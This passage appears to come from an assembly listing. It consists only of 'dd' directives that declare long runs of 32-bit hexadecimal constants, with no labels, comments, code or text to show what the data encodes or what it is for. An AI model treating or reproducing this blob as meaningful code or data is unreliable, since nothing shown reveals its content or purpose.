0E0B088B5h, 0EA0F340Ch dd 40F82510h, 986CE433h, 0C4A10F42h, 48E34E77h, 0F4C04BC0h dd 0A4006D93h, 4A0A46D8h, 7423FEFh, 76DE4592h, 1213F03Ch dd 0D6006805h, 79F0D810h, 23E20Fh, 0EC73429Ah, 0AA185B56h dd 0C60B62F0h, 683347h dd 7934D7F9h, 960EA5Ah, 0EF90B0Fh, 848DE01h, 0E530D3E8h dd 516B2ED4h, 0CDCC13F2h, 8391AEE5h, 0B5F0044Ch, 73C2769Fh dd 69D80073h, 0F5C9469Ah, 1603B46Fh, 0AEC08158h, 0E8321870h dd 5E643D0Bh, 0C6ACDA00h, 5D3937AAh, 0B47A65h, 0DFA1A5B9h dd 0B3E9814Dh, 8B0C8560h, 7117BF10h, 20E7D57h, 19D28DC2h dd 7944E828h, 9F59AD00h, 0BD349D06h, 1FF7D97h, 864EE295h dd 501881CCh, 0B8943D5Dh, 2489AF00h, 88DE0443h, 838B0114h dd 34FCE1F5h, 0C2017B12h, 6319252h, 0C0711E50h, 34AE0E87h dd 58E085B4h, 0ECF368FFh, 0A9603006h, 2A2ED2Bh, 7D2CC12Eh dd 1944850Fh, 4BBF6603h, 0E310899Bh, 0F7A8848Ah, 172C49CCh dd 18C38088h, 1125E91Dh, 43EED1AEh, 0EC17BB0Fh, 3D9C8774h dd 2F415410h, 0B75B7F53h, 5C00EFF2h, 0B6EF30C1h, 169BA281h dd 3B28D8h, 803F9054h, 6001EB8Ch, 1E6E5E97h, 67C12D34h dd 7C6F0DE0h, 0EAFE3366h, 60A1FF8Eh, 9F6AD001h, 700DC70Ch dd 0E8CA2169h, 96D43044h, 31D5E011h, 9FE5FA10h, 930F3867h dd 1101BB4Ah, 701F3D17h, 8184071Ch, 0C6A71B68h, 7E0211C3h dd 83A69629h, 54FE00F3h, 0E721DDA1h, 486119EDh, 2111020Bh dd 0D262697Eh, 5BE35090h, 76D40711h, 941CED0Fh, 8E9D75A0h dd 0E70DF13Bh, 0E0851F87h, 506CDA30h, 6F88405h, 5CE6B1C1h dd 0E40F1008h, 0A19AFE66h, 0BB956CA6h, 0F2467960h, 0EAA006FDh dd 60F1139Eh, 763E26F6h, 78BB3E9Dh, 70C6D47Ch, 28C1FFE6h dd 8A2DDBh, 0ECB2875Ch, 12C5D50Ah, 0E919AC1Ch, 80069649h dd 0F0EE74D1h, 0F580C721h, 0C9998E0Dh, 0C3730E9h, 0B17F68C3h dd 0D4008579h, 7887E8C0h, 909F60CEh, 20B422BBh, 400ACF2h dd 0FE69944Ch, 1C90931Fh, 0C0EC515Eh, 0C9E5E280h, 0C73B3C1Eh dd 80853C52h, 50DCB386h, 337889DBh, 0E150A3BEh, 406B54E1h dd 0FE76568Ah, 0A00E9C30h, 0C2787F0h, 0EF89A677h, 1A0950E9h dd 6E1F62h, 5B6CF778h, 4964803h, 0E9A2F040h, 3A61FEDCh dd 78004F8Fh, 0E442BD58h, 70266F3Ch, 732409D5h, 41B7ED07h dd 43C13380h, 76E83C78h, 5750D307h, 0BE5980ACh, 353EE76Eh dd 0E1BA93h, 46E09F4Eh, 0C74771h, 0CFFE6256h, 0E1A8BC4Ah dd 4C734800h, 416446E3h, 0B73805EAh, 28A1DE4Dh, 9BB0B438h dd 4AE97278h, 8B19C18h, 71E1D970h, 98E678F0h, 54E401BBh dd 37C8FCB9h, 53C1F0BDh, 0EAAE4E00h, 0C5AB7134h, 7A1F055h dd 0A7C249F0h, 7686ABEh, 0E3C4515Dh, 39414E62h, 4BEE298h dd 0A606C518h, 260110h, 0AB8F040Fh, 862D639Bh, 0C800E4F2h dd 1585D32Eh, 30AE541Ch, 0F830A2E0h, 2B63A4A3h, 0B9914819h dd 8402004h, 4E4F79h, 0B35AF569h, 4D517695h, 772C3450h dd 0DF949B05h, 0C60AB85h, 858F03D8h, 3096288Ch, 0F5680D11h dd 9058B461h, 0FD813BA0h, 86013525h, 79465E40h, 407E66E8h dd 0B83459DCh, 780228E0h, 8474485Eh, 0F73B2058h, 97E27768h dd 0E7F11DB4h, 62B3B04Eh, 91360EE0h, 1DA1761Eh, 0CC417B12h dd 867C9DFBh, 21D12880h, 1F512ABCh, 0C7DF328h, 0F4EB4E09h dd 30E427AFh, 16A08B90h, 335F0754h, 41E19751h, 828C0B28h dd 2587FE19h, 99FC4819h, 99D001Bh, 67F3E423h, 730A6563h dd 0C3BD268h, 914780Fh, 6714A2E9h, 2858800Dh, 53015511h dd 0CCA264A8h, 97413320h, 8C395563h, 120BBC02h, 9CF0B80Eh dd 0CE80E7BFh, 0A16E0542h, 69524FF0h, 0A051F84Ch, 98A1E2E0h dd 4830425Ch, 0C3C2248h, 51E605FBh, 0F4290BC1h, 1A918C80h dd 6FA0E446h, 2A3AD81Fh, 98696CD3h, 90C8847Dh, 9049459Fh dd 144D2164h, 0E2193D61h, 884C9BA5h, 48E0C4C8h, 16648278h dd 557B7710h, 408A940Ch, 84E0A8B5h, 8CE5447Dh, 148AAC0Ch dd 996A6880h, 261AC20Ch, 11428C81h, 0A804625Dh, 882E5374h dd 0B8E0AE31h, 0AFF441FCh, 0BAFB1303h, 24488E7Eh, 609073A3h dd 9117B62Dh, 427C9128h, 99418D80h, 50910C18h, 13D98C19h dd 3E656F68h, 0B489C40Ch, 3B12D17Ch, 0A832A965h, 518028E8h dd 0C99A327h, 8C90970Ah, 9C6A5D12h, 8F52888h, 0B14CD46Ch dd 0E4A0934Eh, 97B2C50h, 87621E61h, 8D3F1424h, 1A746260h dd 0BE61AC37h, 1892350h, 8438E7E2h, 234AEDE4h, 0F1816DA8h dd 14B432CAh, 95D86415h, 58937C30h, 4C523065h, 0B9882C6Ah dd 15BC2D7h, 0CECC837h, 0CA10AA35h, 77554900h, 344E8E54h dd 181C6A01h, 0EBCC0878h, 3D44DC28h, 6013E636h, 466018E8h dd 7C31A155h, 9598706Eh, 0ADED22F2h, 0D7089C08h, 3CD33D03h dd 37908304h, 0E814797Ah, 11A43C70h, 871447C6h, 58C89627h dd 7523D9E2h, 809C261h, 6A035B00h, 5D9E015Ah, 0E6B3A561h dd 0F3CCE04Eh, 0C11F4FF8h, 0B40A645Ch, 0BE3C14A1h, 93E81752h dd 82602400h, 91F17D39h, 8171624Ch, 730C4C60h, 301AE488h dd 7384F5Eh, 0F4A274EEh, 21250460h, 20AB9140h, 0FB09221Ah dd 2666043h, 20528E10h, 58C895C2h, 84200653h, 3B601F6Bh dd 0DA31B9DEh, 38757877h, 30DA4E4h, 65E85EC4h, 189BF524h dd 0CF004078h, 879F862Ah, 92A56046h, 0BD71ACh, 98512C6Ah dd 32E4FB29h, 0B806E274h, 0AA60FC9Ah, 0C2F30029h, 7749C50Dh dd 6CE0D8D0h, 5B46500h, 2E815652h, 457F4A43h, 211AF54Ch dd 58ECBE8h, 1AB0C00Eh, 60006018h, 887349C6h, 115F9801h dd 99550157h, 9189F980h, 80BA219Fh, 9D8F8A11h, 850F5506h dd 31C7DFA4h, 0C007FD01h, 0C029AC45h, 700792F4h, 940AEE15h dd 4AB81330h, 0FAED189Eh, 1DC9D118h, 500989Ah, 623485AEh dd 0BFCBA7h, 6F5A779Ah, 63D62A0Dh, 0D7A21302h, 72651D51h dd 0A080E64h, 12521FA3h, 14700300h, 2100DFD1h, 9CC5E0F1h dd 0D412B9Eh, 1161505Eh, 30D8E079h, 8E663300h, 0B95F8465h dd 3F8C008Bh, 143BBE45h, 7E60C57Fh, 130E8269h, 787500F8h dd 70182FD1h, 2E004F83h, 0D9566817h, 825222h, 0A10B370Ch dd 13997AD6h, 0B0A8E23Ch, 0E6D791ECh, 0B36E0323h, 0CAF5DC67h dd 643088E8h, 83FFC4A0h, 0E0F630C4h, 0E0CD4E3h, 811176C5h dd 18B5507h, 3405396Dh, 0A0998800h, 0E74A594h, 4E2D7067h dd 922A6981h, 0DF64E882h, 5B07760Ah, 57049066h, 9E40E1F6h dd 656968D2h, 2420C448h, 9398247Dh, 0CAA021h, 0F63FD068h dd 741B9C8Dh, 0A96430E9h, 82DF2E10h, 0B6E8B851h, 8C650068h dd 0A2640C05h, 0FB00797Bh, 0F5167A48h, 758E1C4Fh, 51AC35EBh dd 50A480D8h, 0E9C0A860h, 0D21F6801h, 0B862662Ah, 1660C122h dd 1F60E721h, 302E4C18h, 2F57D10h, 0D79B30D0h, 0AE004076h dd 597E826h, 1D4194E0h, 739C2066h, 9863D07Eh, 90F6B0h dd 131C20E1h, 2C22F41Fh, 8B3C067Fh, 9C3E0099h, 54811B76h dd 67831282h, 0E0D414F5h, 446F5F00h, 0FCB9BBFBh, 54288710h dd 6B97A103h, 98130CFDh, 6C035FE0h, 888222E8h, 0A575B52h dd 5150704Eh, 805811C4h, 656A68CBh, 95448CCCh, 68C3009Fh dd 0CF429487h, 2FEC5D69h, 37792465h, 8736800h, 64AE39h dd 0CC5E16A6h, 0C65366B6h, 4652C909h, 0CE3400DCh, 0B4F0ACAh dd 0FA2DAF51h, 53C98C22h, 619C10D1h, 8CC8EC0Fh, 50671921h dd 17B797FBh, 1443F0h, 0D40DCBBAh, 2833F65Eh, 5452A5FAh dd 91444831h, 1D6E1750h, 7F012224h, 20D36AFh, 4BE0676Fh dd 1D11399h, 0C83804E5h, 0CAD88057h, 8D011D44h, 0D76664D6h dd 108C59D2h, 0C349B060h dd 3A5B900h, 0F36AFFD9h, 77B328D2h, 6C4E4490h, 59D05817h dd 0C9CF1805h, 5B2E5000h, 0EF974433h, 2BA9EC07h, 539521C0h dd 0FF8A33h, 0E1096EA7h, 0CCA24CACh, 2D6F6902h, 437FA80Bh dd 0AE0DC03Ch, 33CB8FAh, 887ED722h, 0C8D68BB7h, 2054603Dh dd 21872843h, 7B1C904Ch, 67320E01h, 0C4943A05h, 0BC04A848h dd 0D1C52687h, 20299964h, 9777A374h, 0E4FB6E80h, 81C52A5Fh dd 694400D8h, 0FCF088E4h, 0A5023479h, 213B9891h, 78F46411h dd 6B12499h, 0A77C8050h, 64574AF9h, 78CAAE26h, 5F019420h dd 5747D6Ch, 0ED045D7h, 3044006Eh, 0E93DA1DCh, 831F4F54h dd 650541D9h, 9C90E205h, 6063D330h, 0F95DA08Fh, 6C029FD7h dd 486F245Ch, 0ADF84173h, 1F086718h, 0C45A2AD1h, 5FE2401Ah dd 0AD4B81Fh, 0FAEED281h, 206016E0h, 0A019A51Ch, 0AD7C2A00h dd 66F9C1BEh, 829F00CAh, 81EAAEA4h, 0C4986CD1h, 48E5B73Bh dd 0F9440078h, 0E037A6DEh, 0BFD313DBh, 0A2DC411Dh, 42902C40h dd 88CC5E94h, 780B594Fh, 908831E5h, 1151B810h, 33EDD600h dd 9E01C93Ah, 0B4FD5918h, 40901B13h, 6FCEF998h, 53649466h dd 0B9417B60h, 0CCBD4F4Ah, 0B00077A9h, 33AFC82Eh, 269759FFh dd 0DE949498h, 0F6E3A909h, 68E8208Fh, 4F7AD9h, 35C10E21h dd 40AE3D62h, 0FAE42D05h, 8680933Ah, 249600Fh, 0CFC580FCh dd 74606842h, 2D1D4ED3h, 8A5814B8h, 28258751h, 0C2FC3052h dd 0F46533A8h, 45612C40h, 88F04F4Ch, 1F6DC053h, 0CA212AD7h dd 159180h, 241F65ECh, 636E630h, 5C3D2F2Eh, 514648BBh dd 0CD0ABF58h, 4424BA2Ah, 63E6401Dh, 0B2F31Fh, 0B098D246h dd 2ABB01CCh, 86EFD312h, 26565000h, 253B9AD8h, 9038AF3Dh dd 25186591h, 49E01FDEh, 9637136Dh, 0D3FC499Fh, 3FD1E807h dd 5A47D00h, 0C800F046h, 7758045Fh, 0D492D47Bh, 0C6265848h dd 335CC038h, 70469743h, 54F42922h, 6D913300h, 63DCE8Ch dd 2AA909A6h, 0FC209FABh, 89F8F569h, 0A30698DFh, 7C187C67h dd 992BFCE5h, 0A15C0E20h, 0F8AB20ABh, 1691980Fh, 58189E7Bh dd 793B6F18h, 53061358h, 0FAC00703h, 120C40C8h, 0B94C9840h dd 8C27BC98h, 5C06E703h, 0E7488A5Eh, 380B3020h, 8B949998h dd 380493C0h, 0CD6F4056h, 318DA31Eh, 8030023Eh, 0BA5C0379h dd 2AECA0A2h, 0C493B39Bh, 8E53FB18h, 0C116880Ch, 6D387FEDh dd 840C006Ch, 32B03DE2h, 0D5FA00A2h, 6758C8CDh, 2641922Dh dd 0A0388C40h, 0ABC30F5Ah, 0C03275FBh, 0D83C9940h, 0E9F42100h dd 5C07BAF9h, 6FA227DDh, 0E7C33830h, 0FC7DF30Ch, 7D4E38E1h dd 61510172h, 1E793867h, 632074E2h, 9A71920h, 7549DFDh dd 0CBD240C0h, 3BD15909h, 78E8601Dh, 0AE251435h, 0B5F120C3h dd 48421905h, 335830CAh, 50975F16h, 0F8908038h, 0D5770933h dd 5D0067B4h, 798A49CBh, 7E2058B0h, 2C575818h, 0F57510h dd 0E34321D1h, 283860FBh, 0B47AEBh, 0BC42B3AFh, 2E35E74Ah dd 3EA733Bh, 349843C2h, 33D9A0C0h, 0E68A00C1h, 7DE87239h dd 471F6FEEh, 303101D5h, 0E0F42E46h, 9CC20042h, 71B749E4h dd 48E84B98h, 331128D8h, 3707CBDh, 0DE457347h, 0E3E02E4Ch dd 9E1E7246h, 5D1F3ADAh, 44C23401h, 4EE037D5h, 3B75F0EAh dd 7C2ED970h, 0D7044884h, 0C75A09DCh, 0B4007337h, 0F0747C38h dd 0C5184452h, 0E13ECAh, 0BFC0343Ch, 5459D449h, 40F5C840h dd 2510FD1Ah, 4D05B786h, 0D3A5E02Dh, 0A7C92E38h, 0E410619Bh dd 5F02D277h, 3BE2569h, 4CE46096h, 733806AFh, 8171611Eh dd 9AA39B00h, 4930D02Dh, 0B57009E2h, 0D8E622B3h, 0DE01FAE4h dd 25FE0B93h, 18822426h, 0ABB4D32Eh, 0E04848C9h, 81DDA803h dd 0CE4978C3h, 0B8D80DFCh, 0E108E2DEh, 38798CE0h, 5BFBC05Bh dd 0CF2831D8h, 0BCCDC49h, 9E7C8B56h, 98E87D0Fh, 2D6B9B10h dd 0FC807B93h, 484665A1h, 0C968FC62h, 60F50358h, 0B8BF822h dd 2F5475FDh, 8859C868h, 9C9C0082h, 0CA377D6Bh, 42D43078h dd 8C94F0A4h, 3BC20308h, 8105F30Eh, 0B5DF7A33h, 8CF6880Ah dd 0F3564E82h, 8050E060h, 0D0514ACAh, 54612150h, 6EA2C507h dd 963F6853h, 8FA5F422h, 1C041248h, 28984F79h, 5E6491E1h dd 13597160h, 0F87E382Dh, 3DE83902h, 0BCE00681h, 0D452306Eh dd 9C7DC14Ah, 45BD3703h, 0C2BB42EAh, 5878CCD3h, 0C00B5040h dd 540FDE73h, 5DE59881h, 0BD4ED04Fh, 1BF320C0h, 0A60582E9h dd 255E0144h, 0C41A4B99h, 4B0C271h, 5D7065C6h, 400C1953h dd 0B71F5708h, 8C22E041h, 93ED2974h, 10A71F08h, 0CE0FDFE2h dd 0A0158AE1h, 61504074h, 0D09109CAh, 657323E4h, 78A22122h dd 1930ADDDh, 0D2F9210Dh, 9BE7441Ch, 91D781CEh, 109F0891h dd 6170401Eh, 9B118640h, 74147C9Ch, 850C3661h, 8C642EE6h dd 91ED5001h, 28AFB4ABh, 184A9CABh, 0E0867CD0h, 0E499309Eh dd 0E612E309h, 0E848E524h, 0EA22E791h, 89ECE944h, 24EE12EBh dd 919048EDh, 1923E8Fh, 0CAAE66A9h, 0D0C86254h, 0A2C1C6E5h dd 0A852B851h, 4E3CA84h, 4ABA655Dh, 0BC1908h, 0FE550CD8h dd 4F3EA21Dh, 1EAC3EAEh, 0A900796Dh, 54A19F85h, 0CE707FDh dd 87EDDFC7h, 0C7F547CFh, 32BE8F97h, 1102E540h, 4D049Fh dd 0A17F85A6h, 25DF78B9h, 48353532h, 0FF04A1FFh, 0AC5264D5h dd 5E59C088h, 2255C750h, 0F8F85664h, 0AC38A052h, 7073083Bh dd 0F28151C8h, 0F7CA71C4h, 41F80991h, 0FA040B18h, 0F628E0AEh dd 0B8F30099h, 0A47F6F18h, 10A06133h, 4F526570h, 381AC38h dd 0EF8333Eh, 1A93F322h, 80A5E5E1h, 0D11F5B18h, 1FA27C7Ah dd 28FD90C3h, 0F2997C1Ch, 2355052Ah, 225201B6h, 38F5AD28h dd 33A26DE4h, 0C941E7B4h, 980031EEh, 2BCA481Bh, 30DF565h dd 4476917Dh, 0BB86397h, 0F908E423h, 83474B6Bh, 1B4A2BF0h dd 11228BE8h, 0FA7DB201h, 0F977F3F2h, 815CCC7Fh, 8E1C9610h dd 43676C00h, 1AC94422h, 8028D93Ah, 5FDD1B31h, 0E274566h dd 0CF4BDEEFh, 0D064D420h, 3A010CCAh, 9601FD25h, 488C9444h dd 1C10B597h, 7CF8F40h, 35A9D6CDh, 16304071h, 47033F60h dd 0CAE58356h, 0B0E9001Ch, 0CD2EC9C8h, 63003702h, 99155F5h dd 187A9F0h, 77FDAC26h, 0D7656FA1h, 428440FDh, 3BA3061Bh dd 0CA8F2207h, 0C4A099A2h, 7C5DC512h, 5E910FDAh, 5601041Fh dd 0DC9D18CFh, 0D10111DDh, 0D412C955h, 144A1E50h, 6079593Ch dd 9AA830CEh, 0D1F8154Eh, 0CF4320h, 0A9ACC453h, 97171D42h dd 0EC069577h, 0A71A5AC5h, 1EC81E90h, 4018B7D5h, 9B141D57h dd 0A7195106h, 0CE8058C3h, 0A68EC528h, 40A82027h, 0D5A2185Ch dd 333078D4h, 0CB523156h, 0A2590AA8h, 620C4FCFh, 84A0AC20h dd 429703C9h, 0D4AB2105h, 8800184Eh, 0D0AC1B52h, 2029C01Fh dd 0CF306A29h, 0C31743Ch, 493D28AFh, 18F80764h, 0AC7842A8h dd 26006231h, 0A6B17C72h, 3199AE4h, 9FBC3A0Bh, 0F4B857A8h dd 2100F1CCh, 87412612h, 0FB20722h, 317FEB6Bh, 86ACCD80h dd 230327FEh, 2FAF84FCh, 0E4711F55h, 4C5E8212h, 210024F7h dd 0C3AEDBDh, 3891A431h, 0BB3AE528h, 0B77D0462h, 1B062334h dd 0A050A17Fh, 2C88A918h, 68826FFCh, 0B71B8670h, 9B771931h dd 8FB61998h, 1178B259h, 1EA9DD10h, 402AAAD5h, 0C7298040h dd 4DDEA229h, 0D5C008B8h, 30356832h, 9EA89044h, 1BBCA83Eh dd 3959C011h, 8851BA56h, 5883A60Ch, 1C25203Eh, 942C8969h dd 8523D022h, 0D0C44010h dd 0FE63607Bh, 0D20B3161h, 86291A30h, 567723B9h, 0E0B80269h dd 78339D85h, 0B97EA4A6h, 67A1390Ah, 0A318DC38h, 33BA69F1h dd 0D8318CE8h, 182A36FBh, 0A5284CA9h, 84805868h, 0F788BAB6h dd 91CA2426h, 0C0393718h, 910B078h, 368A9926h, 1824DD0Ch dd 4CDF5038h, 3B58A9A3h, 481E843h, 10B26591h, 3C288723h dd 3814E5B9h, 84A4DF56h, 242B3CA4h, 7FDB7442h, 0C47A42B8h dd 0F9449A71h, 82212B23h, 0C1905488h, 426F10AFh, 0C2155128h dd 2927993Ch, 0DC217E38h, 2336448Eh, 3B3FE481h, 5088C21Ch dd 106AD944h, 0A2A2846Ch, 0B144F0A2h, 7408289Fh, 89551B3h dd 0DE0FE709h, 0AAA28AD0h, 841AE111h, 1B61AFF8h, 485C323Eh dd 51288F6Ch, 0B2868C48h, 0E51B3150h, 0C0516B3Fh, 6DD541C0h dd 41401197h, 12322F84h, 0A3348F6Eh, 2241D486h, 0E102AA90h dd 2C79B97Eh, 23A049E9h, 0EA194013h, 3F11882Fh, 4C562801h dd 7C4CB74Ch, 118CC898h, 346528BDh, 48319B2Bh, 7CF57D01h dd 118230B7h, 6202D35Dh, 1B24E844h, 5565DCBBh, 1349A826h dd 2067E516h, 327B8168h, 11EFA491h, 0A2F7FD03h, 100033D3h dd 0E37276F6h, 3C95BB0Bh, 7C0059DAh, 50713BC0h, 757F19CFh dd 0D016C70Bh, 0D4E4005Ch, 0E8F8ACFCh, 0A7C30040h, 0A5CF7297h dd 0F8B054A8h, 0B920631Fh, 18AC003Fh, 16559708h, 43C50F1Eh dd 3EDD3BE3h, 1B32F920h, 0E02B40A1h, 0A27400Ch, 1D59D0FEh dd 1A414040h, 42789BA1h, 0E422F61Fh, 53971F07h, 986C308Ah dd 194E14CEh, 0E3CB1C12h, 38C84886h, 14B8E9E4h, 291A533Ah dd 34AC60CEh, 18DC0468h, 70121A4Fh, 945CE819h, 78AE2E25h dd 1D001823h, 1E5C97A5h, 0E9AA01A8h, 0A4D559D8h, 602C5D19h dd 0C4A0CFE8h, 0E57CD952h, 0BE964C50h, 3E385153h, 900F0520h dd 0B0C3E54Ch, 144AF745h, 3B403852h, 0DE4A00BEh, 1D5AB90Fh dd 0D0E8C315h, 19F8AC54h, 0D6A7D50Ah, 0A35594E7h, 73C0D704h dd 98C608CBh, 71050F18h, 5780B86Fh, 0ABA8D053h, 12185200h dd 0FDA92CFh, 554DD6h, 0C1197874h, 0D552AC28h, 0A698244Bh dd 68141D00h, 0D417D094h, 40164C54h, 2860523Ch, 0BEA88F1Fh dd 0D420554Ch, 0C84C026Ch, 43A99BA5h, 745056ECh, 0DEEE950Dh dd 2B600491h, 0E800FF04h, 191E5D65h, 8C0B53D1h, 2443D202h dd 40987F90h, 58534890h, 1A44820Ch, 59E84012h, 204C70F0h dd 3CF448D0h, 0E7ED7A5Fh, 0A2194013h, 0A78CC000h, 0E185C9Ah dd 1F4EAB5Bh, 8C80109Ah, 17C3B97Ch, 1E54CF1Ch, 701FD556h dd 8F4EA64Eh, 1C7F0444h, 1B58A080h, 1810C6A7h, 0C6246003h dd 5830AC1Eh, 3A2754A6h, 0C4308212h, 0AC2B7F40h, 0C36FA774h dd 7C50FC8h, 304C519Bh, 788C7C4Eh, 54A1C7A7h, 55D2C019h dd 0D40A041Dh, 9859275Ch, 567D0448h, 9E3EF8A5h, 5B1740D2h dd 0A1DED460h, 8C432CAAh, 8091C760h, 0CF5DC3FAh, 50D55B09h dd 4EB83A1Ah, 14521218h, 1BF00917h, 0CC071C8Bh, 804F44A7h dd 0CA7FD0E8h, 90C2AE7Ch, 0C357A6ACh, 0F058C67Ch, 0C3553A99h dd 8D6090A8h, 0E8407D04h, 0B2C94175h, 18EF16C4h, 12B40B99h dd 0C55BE438h, 0CB0C3F4Ch, 1F980115h, 0DC60D6ABh, 0D821E912h dd 2C287CD3h, 49C497A8h, 0C35B1C01h, 4E0C34ACh, 0E45D2741h dd 0A8502CF3h, 2F3D8FC0h, 2081188Bh, 30A21D45h, 69DFCF10h dd 4319AC1Fh, 2072D5C2h, 2C194E14h, 0C23C87B4h, 0D4F0CFAEh dd 0EB3431F7h, 7FD4580Ch, 7C4F9CC9h, 0DEB0CC1Fh, 18A64E80h dd 14265090h, 0FCD73861h, 0C057048Fh, 0D098BE0Fh, 84200C5Bh dd 21131691h, 57C21FD6h, 0B189D53h, 0C8004ECAh, 1216E0A6h dd 6853D029h, 970801DEh, 0A6A2C472h, 0D0D86043h, 2646F5Dh dd 99122054h, 6618AB40h, 8C5088F8h, 75723AF6h, 55D4F20Bh dd 0C4A720A0h, 38B8CE1Eh, 89AA1227h, 27D05944h, 0D4793C12h dd 8077228Eh, 1658B7A7h, 4ED4391Eh, 51971A82h, 8CE10118h dd 70C4F51Bh, 631D5B70h, 0B71FBB70h, 50B09C28h, 9B03151Fh dd 0A79720B0h, 0C3A51D18h, 0D11E0945h, 2D4050E9h, 0BD1F83C8h dd 0B96803ABh, 1E5D6FF8h, 1A800AEDh, 0E9925D34h, 0FB18ECC2h dd 7C34A150h, 525FD1E4h, 0ABE49073h, 0F001A5D0h, 0FEBCFD82h dd 11AE1D0h, 8C55D1A5h, 9D549A14h, 0A7C34121h, 0A2C95CD4h dd 5BC8849Bh, 0D9D230E1h, 0CAC89E0h, 381A80C2h, 73E71097h dd 53D416C0h, 1EE8DFB9h, 0F028751Bh, 0EF247E60h, 0DC201CA4h dd 1B3057FEh, 13CF201Fh, 0C3551DA6h, 1D540418h, 77B8E119h dd 0C43B2AE0h, 880F851h, 5A4EF28Ch, 9B11F860h, 5BC80651h dd 881DAE72h, 0DCA3527Fh, 44F88CA1h, 1ED81DD0h, 0CEF5015Bh dd 3120C94Eh, 400BE104h, 97A8C380h, 3A829B01h, 0A71E51C5h dd 95BF053h, 62ACC660h, 59982851h, 645B2728h, 0AA6E998h dd 0DC4A58A8h, 5A233762h, 0A548C260h, 0D4D19BABh, 1C4EC382h dd 0B544431Fh, 64A6F434h, 0A2F0494Fh, 30C12009h, 9B01F05Dh dd 1318553Eh, 6CC25AC3h, 0D0F08245h, 7F185140h, 9B490D6h dd 5CA9A7C6h, 49BEDC80h, 9701191Bh, 0C977011Fh, 3180A5D7h dd 2D2FD680h, 0C20074F8h, 7F3E2637h, 5862A6B1h, 11004608h dd 351DFDA3h, 960168A5h, 0AC22873Eh, 77F47BA2h, 302667DFh dd 0BC84203Bh, 5F0CFD08h, 9036EF6Bh, 0A0F800BEh, 39784279h dd 0DD00C90Eh, 0F53CA686h, 4FB8B44Ah, 201093E0h, 737234A8h dd 20EA5429h, 30DABA62h, 0F020E0C0h, 0FE35397Fh, 0C0908F37h dd 0CE5634E3h, 3A085D50h, 0D0703C62h, 3E1F237Bh, 385ED811h dd 7035A706h, 909730B9h, 0CA076Ch, 31741563h, 0F3D0F421h dd 33401CACh, 50909DD3h, 0C3009A08h, 87AD228Ah, 146CEh dd 7F86CC6Ah, 0BF1F9C31h, 31268330h, 1694982h, 885BFB0Ah dd 98E3A337h, 0B7217F08h, 22690073h, 24B4D3EFh, 0F0039FF3h dd 633AA2C7h, 444EE81Dh, 49238h, 0D165CC5Bh, 0A882C7BEh dd 8B7B633h, 0F5210047h, 0A36D6374h, 8550CCF8h, 49C83B88h dd 65BFC071h, 0CF21BECEh, 0C7F26083h, 603B8965h, 0A0E7A0DFh dd 887A270Ch, 2927B4A7h, 222CE86Ah, 0B791A54h, 98397075h dd 1C181D19h, 58688173h, 1646E2CCh, 88C91A3Eh, 0AD83FF00h dd 0B28229E2h, 48951830h, 306E37CCh, 0BEA07DB7h, 7A52DCE0h dd 31080680h, 0F61A93Ch, 3DCC8C01h, 0C4B0C081h, 0C8705EDDh dd 4B23D652h, 0BC980017h, 3AF53035h, 8C576E18h, 0C0879E88h dd 0C077F069h, 0AD03F526h, 0FE827F48h, 399F0AEh, 0E73E0423h dd 8053F9F6h, 743B21D4h, 71A8D830h, 1E50D8Ch, 9606FB4Dh dd 98F72324h, 0EA219108h, 31E50005h, 0FD4450F5h, 0B312AF67h dd 9800343Ah, 80B2A93Fh, 0A3D0C3B9h, 2DE0FD7Ch, 0BD2BC382h dd 80D99C3Dh, 697EFB1Ch, 2069836Fh, 812649E3h, 0D04B5A9Bh dd 99FAE908h, 0B4B22C00h, 71575C8Fh, 7A6C1C56h, 9D7B0265h dd 0C04CB31Fh, 0E69450Fh, 8A88D1FBh, 694D6380h, 97316B7h dd 0B61C6E7Dh, 19E73421h, 0CC4EE09Ch, 5D28BB00h, 38FC7B01h dd 10344CEEh, 0B588E86Fh, 7CE6519Fh, 38064E51h, 0A4EFEB18h dd 28263558h, 709836B2h, 610200BAh, 381F7834h, 0A54DCA10h dd 1486C8C0h, 39E120EAh, 2401804h, 5CDC9E23h, 28429D2Ch dd 74C6F848h, 0A1380A04h, 0B900236Fh, 70563DB6h, 40588E05h dd 0D020B77Dh, 60F3A0FDh, 3C32835h, 0EB0A3EB2h, 90B11CCDh dd 3C4A5C80h, 39677614h, 0B78083CCh, 0FA6E0468h, 0C004366h dd 1F01FFDDh, 0C089B256h dd 0D5FD1BB0h, 0F8286A02h, 0C3069CB7h, 6D53263Bh, 7600A20h dd 0A08BD1h, 0F166331Fh, 7E302634h, 0FD112025h, 0B26515C9h dd 0C77BC38h, 30B9FE37h, 78000320h, 0A4CBA84Eh, 38BB2DDh dd 61ADDF17h, 307189F8h, 0B9785F7Ch, 41F1E716h, 59713044h dd 5DF23C00h, 1A3002ACh, 0D780E924h, 37C00178h, 0BD365727h dd 0B20898E8h, 1BFE121h, 0DFD59C78h, 0BFB9B64Ch, 0AB6E0D19h dd 0F7F1588Eh, 61FE0C51h, 88471A6h, 1397B68h, 0AEAC2E72h dd 78254DFDh, 43000023h, 451956FAh, 0BE00CFB0h, 7A9FB155h dd 529A041h, 0C1D73F3h, 0E9F06249h, 0D8A47060h, 5B6D61C0h dd 1C8457A3h, 0B6BB2ABh, 3C792281h, 24B9FB02h, 0CCA3003Dh dd 0EA2D7C82h, 0C48E67Bh, 4A2A30FDh, 862CAD30h, 465E789Dh dd 9E380E8Bh, 5EAF80CEh, 5742342h, 992C5B22h, 0CAF804A8h dd 68E91E96h, 641FC012h, 9A0CD5C0h, 3F8D97D4h, 9C855A4Ch dd 36ACFA79h, 7A2DA8F4h, 0A8EE3Fh, 34416498h, 7571CD21h dd 819CE214h, 0A4F010C4h, 0BAC5609h, 0ECB40031h, 0EF7E37CBh dd 0E0B14486h, 6378BC04h, 4C8C6685h, 0E371EB8h, 8658E292h dd 306D26E5h, 0B295C361h, 1455EEC0h, 6015D0C1h, 93080293h dd 1840817Ch, 0BA81582Dh, 0BD005C23h, 9D4F7D9Bh, 0F2183BEFh dd 94C82C69h, 26D18186h, 0B1B90B94h, 0D8522Ah, 7C1144B6h dd 4A57D4BDh, 3632621Eh, 0D424BF0Ah, 0DC24279Dh, 3994C067h dd 1211D48Ch, 20AA3ECh, 3F779498h, 88296846h, 89F1A47Eh dd 4900A818h, 78B2FD8h, 5640D530h, 0B926AC8Dh, 197D0F70h dd 0E7281BC1h, 0F75ECCEFh, 1812504Ah, 7C823865h, 65CD3073h dd 0BFBED008h, 40506482h, 0AA6375F8h, 4CFF02CEh, 999D5217h dd 